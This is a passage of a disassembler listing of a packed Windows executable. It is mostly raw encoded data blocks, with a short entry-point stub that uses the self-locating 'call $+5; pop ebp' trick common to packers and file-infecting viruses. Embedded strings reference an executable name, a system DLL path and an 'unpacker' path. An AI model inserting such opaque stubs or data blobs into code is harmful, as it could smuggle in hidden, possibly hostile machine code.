dd 0EBE68090h, 23D1488Eh, 2C007EECh, 0B0F6FEC7h, 65308Fh
dd 1A903842h, 62AC2A39h, 5381480Ah, 8400181Fh, 10CAEF6Ah
dd 4F3000E4h, 1E33C632h, 0B9C0B6BEh, 0A593B33Bh, 9CF4A33Eh
dd 280F2859h, 60778FA0h, 90015CECh, 92B78AFh, 18640381h
dd 343A8410h, 20DFA205h, 0C4EB7DBh, 6552EE9Ah, 0E082CAC8h
dd 0EC5860DEh, 0B6DF0B4Ch, 50245817h, 0F89F40EDh, 1A40986h
dd 589C41CCh, 9E807D3Fh, 0BF076B84h, 21802639h, 6E2D3Dh
dd 239FDA11h, 0EBB66D72h, 0C04C7948h, 9BE5C374h, 18101FA7h
dd 0B28800B3h, 0F4AAE8A6h, 0D8960F3Dh, 34D68734h, 5D49B7A0h
dd 35CA0C1Ah, 45491C52h, 0A0D4C400h, 8EFB1614h, 5C0A3FDBh
dd 0DC85D30Eh, 0F775EEE0h, 0BF01672Ch, 0C438B360h, 45F0E981h
dd 150D7C41h, 0F8A83947h, 1599FE00h, 0E477C452h, 82AE870Fh
dd 67F200B3h, 2E799C63h, 30C9DC03h, 0C51BCA31h, 94092000h
dd 45B37EF1h, 0EDC0005Eh, 0E7FF85DFh, 6F01AC8Ah, 219BE110h
dd 40CAB95Fh, 261A80h, 9A82C368h, 0A11DB037h, 82F19C6Ch
dd 0F6E1C028h, 40D7E80Eh, 0D6134100h, 5322C99Ah, 98650312h
dd 0DBA72161h, 78B59388h, 39F8FA01h, 815270F3h, 0B0E030h
dd 96E2D179h, 0F5B218A6h, 623B7C00h, 0DAC964E3h, 0B0F701B6h
dd 0CF32DC84h, 1F90DCFBh, 0BF3F93F8h, 4F820268h, 51839516h
dd 0CB451D3Ch, 8804696h, 0C3DE4AF6h, 0EEF370EDh, 0CE01B603h
dd 0D74C55FCh, 0FEE09049h, 0F441C034h, 7D965C9h, 0E90EBC00h
dd 91BFAC32h, 0CDEB0054h, 3D6F470Fh, 0E80233F1h, 7A17927h
dd 0EB95C00Ch, 802C9895h, 5C25F44h, 0F304AA1Bh, 0EF70D0E1h
dd 0AC2602F2h, 968538B1h
dd 78C068AFh, 241181EAh, 406818E5h, 91058BCh, 82CD760Fh
dd 2CEF2023h, 30E599E2h, 0DE90F1E9h, 6C5C6F71h, 796911F4h
dd 98C5DC1Bh, 41E78D99h, 2C801184h, 5BE60114h, 4E4F66DAh
dd 23002432h, 9270DCBBh, 0DB0C8306h, 0C90E15C0h, 3CD1014Ah
dd 6E6579A3h, 1BCE40ADh, 2150D0E4h, 421203C6h, 70D015C9h
dd 5BC538Eh, 4FCA29BBh, 0F8C405B0h, 0AB4432Dh, 0E100EC18h
dd 484EEF25h, 0B44D7h, 0A0DF8E06h, 0ED95D1EAh, 0FBF8101Ch
dd 0AE2CB503h, 0E05FE852h, 7DB0267Fh, 2A31606Ch, 0A83E55D6h
dd 5C808072h, 9A2D2283h, 0D5A3241Ch, 0C210060h, 0DAE485C5h
dd 1700F4A6h, 0C42A4446h, 0F07F4h, 11B5F37h, 96E3E61Fh
dd 10B04850h, 543E3203h, 70FFCB6h, 0CA66A80Eh, 0AB3CC2AAh
dd 2D6FA0A0h, 20007FF2h, 85955C6Ah, 0F5358733h, 4E70D0D7h
dd 39E918CFh, 0AB0E317Dh, 155B9D00h, 94697FE7h, 203C4E9Ch
dd 3D7D0CD8h, 0C82C60B8h, 4803BDA0h, 88D906B2h, 54F3EB5Ch
dd 4B668050h, 60604017h, 0B3094C8Dh, 71702400h, 0E9849B27h
dd 0BD3200CFh, 93C4162Ch, 0AF293BA8h, 4000F0FFh, 0CAD8221Ah
dd 0F87B037Eh, 45121DF3h, 69D2BCB8h, 0C2A23812h, 0E63774C8h
dd 0B0D10191h, 74AB6458h, 0F232CC2Fh, 9CA8403Fh, 9E00B3CDh
dd 904339A0h, 107F0288h, 15EBEC14h, 3FE5C72h, 9433EFh
dd 0AE955F54h, 476AF3h, 0DDB239Ch, 3C748EDDh, 8B4E753Bh
dd 48FEC5E7h, 7D34440h, 0F3978E2Bh, 6E313279h, 66B584A0h
dd 0C109C8B7h, 837C4FD4h, 0B802ED10h, 77803FBh, 829ADDE8h
dd 0C9ABC581h, 74304020h, 187C8F77h, 1935B832h, 4268EC32h
dd 50A600B9h, 0BD74E545h, 9809D19h, 21439997h, 39F60B02h
dd 5AFFA5EEh, 79E01DCh, 0D1776F82h, 69F4F868h, 950EFA02h
dd 421DAE5Bh, 0A898034h, 9492B5E1h, 0B8193E08h, 3434D9F4h
dd 0C09C07A4h, 2FC0441h, 4A8F9F4h, 6EFDCDAh, 95908CE0h
dd 0D3FC2A01h, 9B3B6739h, 16089FC0h, 3AE6B06h, 0EA18A1DBh
dd 0BB286100h, 5946F02h, 276938C0h, 0FEE9A20Eh, 58CA6BA1h
dd 97BFF885h, 0A1091500h, 34EE0E61h, 55893CC9h, 0F36FFC60h
dd 28B453D4h, 77007596h, 0E9F14CBh, 0A3D00EECh, 0FEE9ED12h
dd 42F54883h, 739D9599h, 3C117520h, 0A20030FFh, 0F808C2FBh
dd 330E45EBh, 2AFAA3E2h, 8828580Ah, 60FF3944h, 871C3931h
dd 8A00737Fh, 34E2AD48h, 0FA1B470Ah, 0C3E826D0h, 1D5501C8h
dd 725278AAh, 2003747Ch, 618FD504h, 7825DAC2h, 903D3AC8h
dd 2E7B9D4Ch, 4C87A40h, 0D0F21929h, 0EEA5FDACh, 3DB69518h
dd 93B9B81h, 6D31895Eh, 0C1CCF0E8h, 0EE1B5580h, 0D43CA816h
dd 9DFD1E0Bh, 0B44B4291h, 8721970h, 6106AD7Ch, 919B9F11h
dd 0FA784450h, 64F20224h, 0BB0CB408h, 738020DAh, 0B2004C19h
dd 44FCA1D6h, 0FCBF9738h, 9F882C6Bh, 0ADE8030Ch, 5828C89Eh
dd 10005476h, 0DF67B6E2h, 0CF503EFh, 85180F11h, 103E691h
dd 0C2DEDCAEh, 0D9B4D0C7h, 0E1BD0A4Fh, 18682053h, 80C0DE8Ch
dd 0A86CB83Bh, 0E271944Ch, 1F40E4Ch, 66626FC8h, 0B8EF97B6h
dd 0E4FA16D7h, 0DA8100A4h, 0BBABBF8Dh, 0E92464BEh, 48402852h
dd 3FD64FC6h, 13805B7Eh, 0C456B0Fh, 81009F8Fh, 0E0E8A0DCh
dd 89219C95h, 1406147h, 22BE1D4Ch, 0FDC500A8h, 0C2BFDBF0h
dd 22334B72h, 0B4C0DAACh, 6CB1C5B4h, 25239980h, 520CE4Bh
dd 164794EAh, 1198B0DBh, 0B3A0E101h, 0CF62E2FEh, 0A10FC023h
dd 0D3C06EB6h, 9AF55860h, 98E90401h, 8DD0147Fh, 4404B6A8h
dd 6400BF1Dh, 0D186954Eh, 9BE6C11h, 0CA4615EFh, 0B6C4AE00h
dd 491B26FBh, 0C0F0449Ch, 0C15CF8h, 45364A96h, 3F6C462Ch
dd 4906D490h, 8819B9E7h, 33E903F1h, 0B1D6AEBAh, 0D125F080h
dd 2DCAA909h, 0D09C1B92h, 3351D0Fh, 0F6F574E1h, 0B2E8A2E5h
dd 912C967Dh, 0B0398C14h, 0A794B103h, 4CC14C3Bh, 17E57D7Ah
dd 873F3787h, 0F81D374h, 62FF74F9h, 0BE63B70h, 8715B949h
dd 16855121h, 29EFDC00h, 39CCFDCBh, 1D2DBD2h, 60FBFFFFh
dd 0
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_5394BD: ; CODE XREF: start:loc_4DE265j
; DATA XREF: start:loc_4DE086o
jmp loc_53C836
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
align 4
dd 3 dup(0)
dd 4B660000h, 57h, 4 dup(0)
dd 999E0000h, 1178FFA7h, 59h, 2 dup(0)
dd 0D2E30000h, 53h, 2 dup(0)
dd 9F70000h, 6CE1009Fh, 80A3809Dh, 0CDA6h, 73160000h, 0C3DF00A1h
dd 406Dh, 3 dup(0)
dd 5ECC0000h, 850B77DDh, 57h, 0
dd 22920000h, 9Fh, 0
dd 69DD0000h, 0B5E2009Fh, 68548A0Fh, 64696D65h, 61h, 1Fh dup(0)
dd 6F110000h, 1161h, 9D100000h, 56h, 1Eh dup(0)
dd 0FEF00000h, 10h dup(0)
dd 0E1A0000h, 5Ah, 0BC0000h, 2 dup(0)
dd 0E24F0000h, 0FADFh, 4 dup(0)
dd 9FA00000h, 0FFFFh, 4 dup(0)
dd 3040000h, 7FFEh, 32h dup(0)
dd 9E480000h, 77E7h, 58840000h, 7E4Ch, 0
dd 32380000h, 0FFA9h, 2 dup(0)
dd 3040000h, 0B87FFEh, 0B000000h, 0C20374C0h, 448B0018h
dd 0E8530C24h, 0
dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9FA037B8h
dd 8BE0FF00h, 0FF042444h, 0E0h, 12h dup(0)
dd 1D4C0000h, 160h, 9 dup(0)
dd 2BCF0000h, 144Fh, 0
dd 0C56F0000h, 0FFFFh, 8 dup(0)
dd 21600000h, 77E8h, 19h dup(0)
dd 6B3D0000h, 0C40000h, 2 dup(0)
dd 4, 0
dd 9D8D0000h, 0BE9h, 0CC220000h, 0FFA8h, 3 dup(0)
dd 0A2240000h, 5005FF58h, 417CDDB3h, 77E8h, 4 dup(0)
dd 0D6EE0000h, 53h, 2 dup(0)
dd 6DBC0000h, 5Ah, 3040000h, 0Ch dup(0)
dd 0A67E0000h, 53h, 5 dup(0)
dd 506E0000h, 5322h, 0FE40000h, 5 dup(0)
dd 0B1820000h, 0B555h, 0Bh dup(0)
dd 6A770000h, 0
dd 0FFFF0000h, 0BFh, 86B80000h, 5Ah, 3 dup(0)
dd 98420000h, 2DF58048h, 10000h, 0DBA0000h, 0A5E70059h
dd 0A3h, 4 dup(0)
dd 38E40000h, 12FBh, 3 dup(0)
dd 15680000h, 314500A0h, 9Fh, 170000h, 0FEF80000h, 5Ah
dd 4 dup(0)
dd 0ABAE0000h, 93934F99h, 9Fh, 0FCFC0000h, 0E626FFFFh
dd 0E62Ch, 0
dd 0FFFF0000h, 0FFFFh, 5 dup(0)
dd 0FEF00000h, 2 dup(0)
dd 3E0000h, 0BFh, 8EA00000h, 57h, 0Ah dup(0)
dd 2 dup(10000h), 5 dup(0)
dd 0FCFC0000h, 0A800A181h, 0A7120003h, 53h, 7 dup(0)
dd 388B0000h, 0FF301FDDh, 0CC1Ch, 5 dup(0)
dd 144C0000h, 0
dd 900000h, 2 dup(0)
dd 3F7B0000h, 0D7410056h, 57h, 6 dup(0)
dd 0E8F30000h, 3 dup(0)
dd 3040000h, 0EBB37FFEh, 77F7h, 2 dup(0)
dd 0AEEE0000h, 53h, 0Ah dup(0)
dd 3040000h, 7FFEh, 8 dup(0)
dd 1050000h, 0A28h, 4 dup(0)
dd 0ADh, 7 dup(0)
dd 7B50000h, 6AF4h, 3 dup(0)
dd 4F70000h, 0FFB0005Ah, 20Fh, 3 dup(0)
dd 0CDAE0000h, 56h, 6 dup(0)
dd 7D10000h, 3 dup(0)
dd 0B1A70000h, 0Ch, 9 dup(0)
dd 21600000h, 77E8h, 4 dup(0)
dd 32680000h, 0A0h, 88490000h, 59h, 0C3B60000h, 0FFFFh
dd 4 dup(0)
dd 3040000h, 7FFEh, 0Eh dup(0)
dd 3040000h, 7FFEh, 9BAC0000h, 0A1h, 390000h, 566C0000h
dd 0FD9Dh, 93EF0000h, 77E7h, 2 dup(0)
dd 840000h, 0EBF60000h, 0A5FD0057h, 77E7h, 0
dd 544F0000h, 0FE6FD32h, 9Eh, 0
dd 0A28F0000h, 40056h, 0
dd 2B980000h, 4B7A005Ah, 3 dup(0)
dd 0E8F30000h, 4 dup(0)
dd 3040000h, 2D057FFEh, 21C7h, 7 dup(0)
dd 2E070000h, 0DE850057h, 2 dup(0)
dd 64770000h, 5Ah, 91D90000h, 51DA8164h, 0AEBFh, 8 dup(0)
dd 64D0000h, 8D89h, 0F4F0000h, 304904Fh, 7FFEh, 2 dup(0)
dd 7FD80000h, 0A1h, 0
dd 0C1780000h, 1, 2 dup(0)
dd 3040000h, 7FFEh, 5 dup(0)
dd 0FEF80000h, 0FFA4005Ah, 12h, 5 dup(0)
dd 2C4B0000h, 304FFFFh, 7FFEh, 0FE40000h, 0FF540000h, 12h
dd 3 dup(0)
dd 27550000h, 0D70677E8h, 77E6h, 0D0510000h, 0F0B30000h
dd 58h, 0Ch dup(0)
dd 69860000h, 826Fh, 3 dup(0)
dd 6B3D0000h, 8 dup(0)
dd 82E60000h, 92342BD8h, 22D8009Fh, 0A0h, 2 dup(0)
dd 0C96A0000h, 77D4h, 0A3D70000h, 57h, 2 dup(0)
dd 2DF50000h, 57h, 17h dup(0)
dd 0ABA40000h, 3040059h, 73B07FFEh, 0A67E7A66h, 53h, 0CFC80000h
dd 2BCFE0BAh, 57h, 2 dup(0)
dd 0F42B0000h, 7A4Eh, 0
dd 0FF540000h, 12h, 6 dup(0)
dd 5C860000h, 57h, 2 dup(0)
dd 59780000h, 5Ah, 8 dup(0)
dd 0FFA40000h, 12h, 0
dd 9FA00000h, 0FFFFh, 0D8960000h, 57h, 0
dd 21600000h, 77E8h, 700000h, 15h dup(0)
dd 705B0000h, 0
dd 980000h, 0
dd 97A0000h, 58h, 0
dd 6B3D0000h, 8D8D0000h, 703Ah, 5 dup(0)
dd 69DD0000h, 9Fh, 3 dup(0)
dd 0EA430000h, 0C000059h, 2 dup(0)
dd 9C0000h, 0D7220000h, 5Ah, 70C40000h, 9Fh, 0
dd 62B50000h, 2 dup(0)
dd 0A00F0000h, 898h, 0
dd 0E90000h, 4, 2 dup(0)
dd 0FEF80000h, 5Ah, 0
dd 800000h, 0
dd 0CC5F0000h, 0D082FFA9h, 0FFA6h, 0
dd 64B50000h, 7738h, 2 dup(0)
dd 0ABAE0000h, 4F99h, 0
dd 588C0000h, 7E4Ch, 2 dup(0)
dd 0C7960000h, 53h, 2 dup(0)
dd 0C4B30000h, 2424D818h, 2424h, 4 dup(0)
dd 0A0000000h, 4935001Bh, 770Bh, 2 dup(0)
dd 3AA00000h, 0B935FE0Dh, 0D79Eh, 9 dup(0)
dd 749B0000h, 0FD93h, 0
dd 0A8A70000h, 282Ch, 0
dd 0ECF00000h, 0A28F800Ah, 56h, 0D4910000h, 0AF4077C4h
dd 0FFFEh, 1E0F0000h, 9CFFA8h, 12h dup(0)
dd 3E3B0000h, 9Fh, 9DF0000h, 3040000h, 17FFEh, 5 dup(0)
dd 20000h, 0
dd 230000h, 57h, 5 dup(0)
dd 0FD6E0000h, 12h, 0
dd 0A71F0000h, 103BF8F6h, 59h, 0
dd 77E6h, 47210000h, 4 dup(0)
dd 0B5E20000h, 8A0Fh, 5 dup(0)
dd 21210000h, 2121h, 2 dup(0)
dd 740000h, 30DF0000h, 0A9C5h, 5 dup(0)
dd 0AC2E0000h, 6 dup(0)
dd 0E0140000h, 4Dh, 6 dup(0)
dd 0C0000h, 240h, 7 dup(0)
dd 67770000h, 0Eh dup(0)
dd 0FFE00000h, 0C6D70012h, 25Ah, 8 dup(0)
dd 1E660000h, 0CED1h, 3 dup(0)
dd 0F92D0000h, 0FFA4h, 2 dup(0)
dd 0EA130000h, 59h, 5 dup(0)
dd 34300000h, 312Dh, 4 dup(0)
dd 0B0000000h, 0Dh, 6 dup(0)
dd 67770000h, 0
dd 35B0000h, 0
dd 7A170000h, 800Bh, 2 dup(0)
dd 69DD0000h, 9Fh, 4 dup(0)
dd 0E8F30000h, 3 dup(0)
dd 76EA0000h, 0
dd 0A00F0000h, 9Fh, 0
dd 915B0000h, 9Fh, 30DF0000h, 0A9C5h, 1Bh dup(0)
dd 587E0000h, 0FFACh, 3040000h, 58h, 0C3AE0000h, 0FFA9h
dd 6 dup(0)
dd 7FFEh, 2 dup(0)
dd 0BE750000h, 186Ch, 2 dup(0)
dd 41D60000h, 0FCD2h, 0AE630000h, 18h, 3 dup(0)
dd 257C0000h, 2FE5Fh, 0
dd 0FFFF0000h, 0FFFFh, 2 dup(0)
dd 7A480000h, 3040000h, 7FFEh, 2 dup(0)
dd 6B3D0000h, 36630000h, 58h, 0Ah dup(0)
dd 880000h, 0D20B0000h, 0FFA8h, 0
dd 0FCFC0000h, 8001h, 0
dd 230F0000h, 0
dd 2FE80000h, 77E8h, 2 dup(0)
dd 3F80000h, 2DF50000h, 57h, 5 dup(0)
dd 777B0000h, 0C76h, 3 dup(0)
dd 46A70000h, 5CB533FCh, 77E7h, 8 dup(0)
dd 0AB5F0000h, 7FB6h, 2 dup(0)
dd 69510000h, 73D4h, 7 dup(0)
dd 2BDE0000h, 9Fh, 0
dd 4E130000h, 30DF362Eh, 0A9C5h, 0
dd 71E90000h, 658Ch, 0Ah dup(0)
dd 22D80000h, 0A0h, 3 dup(0)
dd 40h, 4 dup(0)
dd 0B5E20000h, 8A0Fh, 0DD130000h, 56h, 6B3D0000h, 6C0000h
dd 2 dup(0)
dd 77E6h, 67540259h, 7 dup(0)
dd 0AEEE0000h, 53h, 0Ch dup(0)
dd offset dword_43C25C+3DA4h
dd 2 dup(0)
dd 2DF50000h, 57h, 4 dup(0)
dd 0D5540000h, 9Eh, 6D30000h, 5Bh, 0F0B30000h, 58h, 0CA50000h
dd 147h, 3 dup(0)
dd 8D530000h, 0C79600A3h, 53h, 0AF400000h, 0FFFEh, 0
dd 3040000h, 7FFEh, 0
dd 2DF50000h, 57h, 2 dup(0)
dd 6CE10000h, 809Dh, 4 dup(0)
dd 5BEE0000h, 6112h, 0Eh dup(0)
dd 0B1340000h, 0A1h, 3 dup(0)
dd 0FFB00000h, 13Fh, 3 dup(0)
dd 9FDD0000h, 0BD4AFFFFh, 0FF49h, 3 dup(0)
dd 0A28F0000h, 56h, 4 dup(0)
dd 0D1C00000h, 57h, 0
dd 65520000h, 72617473h, 70704174h, 6578652Eh, 8 dup(0)
dd 0F80000h, 77E6h, 0B4FF0000h, 53h, 2 dup(0)
dd 8C0A0000h, 9Fh, 9FA00000h, 0FFFFh, 0
dd 0DEA0000h, 94Eh, 0
dd 5EB60000h, 57h, 3 dup(0)
dd 0FEF80000h, 5Ah, 2 dup(0)
dd 3D1B0000h, 57h, 2 dup(0)
dd 69DD0000h, 0FFF0009Fh, 20012h, 0
dd 0FCFC0000h, 8001h, 25Ah, 0
dd 0A1FE0000h, 0A28F00AFh, 56h, 0
dd 0D80F0000h, 77E8h, 3 dup(0)
dd 0AECF0000h, 0FF38h, 62380000h, 57h, 3 dup(0)
dd 48CE0000h, 4F85h, 0
dd 23D70000h, 9D4F77DDh, 0FFFFh, 0Ah dup(0)
dd 575B0000h, 58h, 5 dup(0)
dd 0E800000h, 8 dup(0)
dd 780E0000h, 0FFFFh, 0Ah dup(0)
dd 21680000h, 77E8h, 0
dd 9C440000h, 0FFFFh, 5FF10000h, 0FF60h, 0
dd 2B690000h, 0FFFFh, 3 dup(0)
dd 0E93E0000h, 0FCC465BFh, 966D8001h, 190h, 2 dup(0)
dd 0A6E90000h, 50A177EBh, 8678h, 2 dup(0)
dd 8D8D0000h, 7216h, 0
dd 0D0490000h, 56h, 2 dup(0)
dd 9EB70000h, 0FFFBh, 6B3D0000h, 0Ah dup(0)
dd 6B3D0000h, 0
dd 79630000h, 77E7h, 6C720000h, 1, 0
dd 0F17E0000h, 8784h, 2 dup(0)
dd 6A1E0000h, 3 dup(0)
dd 0DD380000h, 0A40058h, 388B0000h, 1FDDh, 0Ch dup(0)
dd 9E80000h, 0FF540000h, 12h, 0
dd 9A480000h, 0FFFFh, 0
dd 3040000h, 7FFEh, 5FF10000h, 3EFAFF60h, 0B7EBh, 2 dup(0)
dd 0A28F0000h, 56h, 230F0000h, 6 dup(0)
dd 0AC0000h, 0FEF80000h, 5Ah, 8 dup(0)
dd 90BF0000h, 77F7h, 3 dup(0)
dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Dh dup(0)
dd 9A040000h, 0FFFFh, 6B3D0000h, 6 dup(0)
dd 0AE630000h, 4C97h, 2 dup(0)
dd 10000000h, 40h, 2 dup(0)
dd 8D8D0000h, 5D8703Ah, 77E8h, 0Ah dup(0)
dd 780000h, 6 dup(0)
dd 44140000h, 9 dup(0)
dd 230000h, 53h, 0
dd 473C0000h, 1, 0FFFE0000h, 0FFFFh, 0
dd 4B660000h, 0BC0057h, 0D88F0000h, 0E923h, 0Ch dup(0)
dd 15680000h, 0A0h, 2 dup(0)
dd 190000h, 749B0000h, 5CB5FD93h, 77E7h, 3 dup(0)
dd 9FA00000h, 0FF54FFFFh, 12h, 2 dup(0)
dd 7FD80000h, 0A1h, 2 dup(0)
dd 6B3D0000h, 0Ah dup(0)
dd 80280000h, 0FF5Eh, 0
dd 2, 3 dup(0)
dd 293F0000h, 59h, 27D90000h, 202h, 2BCF0000h, 144Fh, 0A00000h
dd 0A8A70000h, 518282Ch, 28Bh, 3 dup(0)
dd 2F870000h, 8601h, 6 dup(0)
dd 50240000h, 77FCh, 2 dup(0)
dd 2D8D0000h, 4E8Bh, 3 dup(0)
dd 4B660000h, 8C0057h, 0
dd 230000h, 57h, 0
dd 9C370000h, 9Fh, 93930000h, 215C009Fh, 2, 7 dup(0)
dd 60E0000h, 0A099005Bh, 77E7h, 4 dup(0)
dd 0F85D0000h, 5Ah, 0B1680000h, 8B00009Eh, 2 dup(0)
dd 2E0F0000h, 0FEF877F5h, 5Ah, 2 dup(0)
dd 40000h, 2 dup(0)
dd 0B6h, 4 dup(0)
dd 69DD0000h, 9Fh, 2 dup(0)
dd 230000h, 57h, 3 dup(0)
dd 22220000h, 22222222h, 0A28F2222h, 56h, 0
dd 89900000h, 0FFA5h, 113F0000h, 59h, 3 dup(0)
dd 90000000h, 3, 0B1CA0000h, 0F77500ADh, 3A43005Ah, 755F6D5Ch
dd 6361706Eh, 72656Bh, 7Ch dup(0)
dd 0FFFF0000h, 0B5E216BFh, 705B0000h, 4 dup(0)
dd 87F20000h, 2 dup(0)
dd 0CC890000h, 58h, 23h dup(0)
dd 459C0000h, 2 dup(0)
dd 0FFB00000h, 1DFh, 13h dup(0)
dd 0DBFF0000h, 1766h, 0
dd 4048h, 2 dup(0)
dd 2DF50000h, 57h, 78900000h, 0C5Bh, 1B400000h, 76B4h
dd 0
dd 1E660000h, 0CDC8CED1h, 58E10056h, 709h, 5Fh dup(0)
dd 0FFB00000h, 17Fh, 4 dup(0)
dd 0B6C20000h, 9Fh, 2Ch dup(0)
dd 4C3C0000h, 8F31h, 179F0000h, 0FF50h, 0AFDC0000h, 3048803h
dd 7FFEh, 0
dd 23B60000h, 56h, 4 dup(0)
dd 0D20B0000h, 0FFA8h, 3040000h, 7FFEh, 2 dup(0)
dd 2DF50000h, 57h, 2 dup(0)
dd 1B10000h, 6B45h, 0
dd 11110000h, 60601111h, 9F3Dh, 76E00000h, 7DB7h, 4 dup(0)
dd 3E680000h, 77E8h, 6 dup(0)
dd 0FFFF0000h, 0FFFFh, 0
dd 3040000h, 7FFEh, 0Fh dup(0)
dd 36630000h, 0A0370058h, 9Fh, 2 dup(0)
dd 8EA5025Bh, 1097Dh, 3 dup(0)
dd 0B5410000h, 5Ah, 0Dh dup(0)
dd 0C4860000h, 77E7h, 0
dd 72730000h, 0C5F39354h, 97E6h, 0AEh dup(0)
dd 389F0000h, 58h, 0
dd 10000h, 0
dd 0BE0000h, 4 dup(0)
dd 30DF0000h, 0E9A9C5h, 4, 3 dup(0)
dd 1D300000h, 0FFC446E1h, 12h, 5 dup(0)
dd 0D0710000h, 56h, 5 dup(0)
dd 60030000h, 0
dd 0FD080000h, 38A10012h, 22A1h, 0CD770000h, 3A870053h
dd 5D710056h, 0FFA9h, 0F8CF0000h, 57h, 3040000h, 0A28F7FFEh
dd 56h, 0
dd 97030000h, 0FF60h, 0BB600000h, 69DDFFFFh, 9Fh, 0
dd 10000h, 7 dup(0)
dd 391E0000h, 0CFA00A0h, 0F9C455A3h, 0FFEDh, 0
aWpjuf db 'ÝwpJîF',0
align 4
dd 2 dup(0)
dd 7C0000h, 5 dup(0)
dd 2DF50000h, 36360000h, 3636h, 30DF0000h, 304A9C5h, 7FFEh
dd 8B000000h, 860000h, 5Ah, 4 dup(0)
dd 0C0000000h, 4Dh, 4 dup(0)
dd 0A80000h, 8 dup(0)
dd 0C96A0000h, 77D4h, 7 dup(0)
dd 2DF50240h, 6180057h, 77E8h, 0
dd 69100000h, 57h, 0B4FE0000h, 53h, 0
dd 0DCDA0000h, 105h, 5 dup(0)
dd 10000h, 20000h, 2 dup(0)
dd 8B820000h, 535077E7h, 0CD65h, 0FA70000h, 3 dup(0)
dd 1B400000h, 76B4h, 10E20000h, 59h, 6 dup(0)
dd 97FE0000h, 0F889FFFFh, 0FFFFh, 3040000h, 7FFEh, 4 dup(0)
dd 2D390000h, 4FFBh, 6BC60000h, 0BAF7h, 6 dup(0)
dd 33510000h, 582Ah, 2 dup(0)
dd 0C1D80000h, 57h, 2 dup(0)
dd 777B0000h, 0C76h, 0
dd 0FABB0000h, 4 dup(0)
dd 3040000h, 7FFEh, 9Eh, 3A9A0000h, 0FFACh, 0
dd 8D8D0000h, 1703Ah, 4 dup(0)
dd 0FFB00000h, 15Fh, 0D20B0000h, 0FFFFh, 2 dup(0)
dd 23E80000h, 2, 2 dup(0)
dd 69DD0000h, 9Fh, 0
dd 0A2600000h, 0BDC10ADBh, 8AD7h, 0Ah dup(0)
dd 230000h, 57h, 0
dd 3040000h, 7FFEh, 5 dup(0)
dd 6B3D0000h, 2 dup(0)
dd 1CC40000h, 0FEA0h, 2 dup(0)
dd 68500000h, 0
dd 0FFFD0000h, 5720025Ah, 59h, 0
dd 0D8960000h, 2DF50057h, 33330057h, 2 dup(33333333h)
dd 3333h, 2 dup(0)
dd 0A8370000h, 77E7h, 3 dup(0)
dd 8C0A0000h, 9Fh, 6 dup(0)
dd 20000h, 77E7h, 8 dup(0)
dd 3040000h, 4 dup(0)
dd 0FEF80000h, 97EA005Ah, 53h, 12h dup(0)
dd 9F70000h, 9Fh, 0
dd 30DF0000h, 0A9C5h, 0FFB00000h, 16Fh, 3A00000h, 7 dup(0)
dd 86840259h, 57h, 2 dup(0)
dd 11B00000h, 0A146h, 0
dd 0E93C0000h, 5Ah, 0EED60000h, 0E42Ch, 0
dd 2B0000h, 3 dup(0)
dd 35A00000h, 1FA8h, 28970000h, 3040057h, 7FFEh, 0C9850000h
dd 0F0CFh, 5 dup(0)
dd 0F71D0000h, 5 dup(0)
dd 3040000h, 3 dup(0)
dd 5B1B0000h, 57h, 80h dup(0)
dd 215C0000h, 2, 2 dup(0)
dd 59F00000h, 77DDh, 2 dup(0)
dd 0FFFF0000h, 0FFFFh, 4 dup(0)
dd 10000h, 0D24A0000h, 0EF08h, 8 dup(0)
dd 0F6090000h, 0FF60h, 0
dd 39CFh, 4 dup(0)
dd 0FA560000h, 9Fh, 9 dup(0)
dd 10000000h, 0
dd 2DF50000h, 57h, 6 dup(0)
aWW db 'ÔwßÄW',0
align 4
dd 3 dup(0)
dd 4ABF0000h, 4F99h, 0
dd 0FFFF0000h, 0D7FFFFh, 3 dup(0)
dd 0CC890000h, 1DE70058h, 0E014A9C0h, 7670000Dh, 5Ah, 0
dd 0FFFF0000h, 3A87FFFFh, 56h, 220000h, 0
dd 89330000h, 8818h, 4 dup(0)
dd 96230000h, 0FF60h, 0
dd 940000h, 76630000h, 0FFFCh, 2 dup(0)
dd 3B770000h, 233C56h, 68990057h, 0DAD5h, 4 dup(0)
dd 99950000h, 0A3h, 0Dh dup(0)
dd 70F80000h, 7 dup(0)
dd 499E0000h, 9E480057h, 77E7h, 2 dup(0)
dd 0FF540000h, 12h, 0A00F0000h, 9Fh, 4 dup(0)
dd 0EF770000h, 5ECFh, 8 dup(0)
dd 0D0210000h, 7CA80056h, 4D718h, 0
dd 11890000h, 255Ah, 8B820000h, 77E7h, 0
dd 180B0000h, 77F5h, 0AEBD0000h, 8DE9h, 0
dd 28Bh, 89200000h, 8248h, 10000h, 6CB80000h, 248h, 10000h
dd 0A79D0000h, 0FFA5h, 2 dup(0)
dd 0FFB00000h, 11Fh, 5 dup(0)
dd 19D60000h, 2 dup(0)
dd 3040000h, 7FFEh, 6 dup(0)
dd 46100000h, 1DEh, 2 dup(0)
dd 94990000h, 9Fh, 0
dd 510D0000h, 2 dup(0)
dd 8B610000h, 0FFFFh, 71DC0000h, 0Bh dup(0)
dd 0A00F0000h, 9Fh, 17h dup(0)
dd 0A28F0000h, 56h, 3 dup(0)
dd 189A0000h, 30477DDh, 7FFEh, 3 dup(0)
dd 3040000h, 7FFEh, 6 dup(0)
dd 258h, 6 dup(0)
dd 3040000h, 7FFEh, 77F5h, 3 dup(0)
dd 59740000h, 8655h, 2 dup(0)
dd 0AF400000h, 0AC5EFFFEh, 77E7h, 0A1B90000h, 0F433h, 9 dup(0)
dd 23E80000h, 0A0h, 9E340000h, 77E7h, 6 dup(0)
dd 2DF50000h, 57h, 69DD0000h, 598B009Fh, 58h, 2 dup(0)
dd 0A28F0000h, 56h, 5E2E0000h, 9Fh, 4 dup(0)
dd 0FCFC0000h, 0FFFFh, 0DE190000h, 0FFFF0058h, 7FFFh, 5 dup(0)
dd 0FEF80000h, 2005Ah, 0
dd 3040000h, 58h
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53C836: ; CODE XREF: start:loc_5394BDj
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 6483383h
mov [ebp+6482709h], edx
mov [ebp+64830C5h], esi
mov [ebp+64815B9h], eax
cmp dword ptr [ebp+64813D1h], 0
jz short loc_53C86E
mov ebp, eax
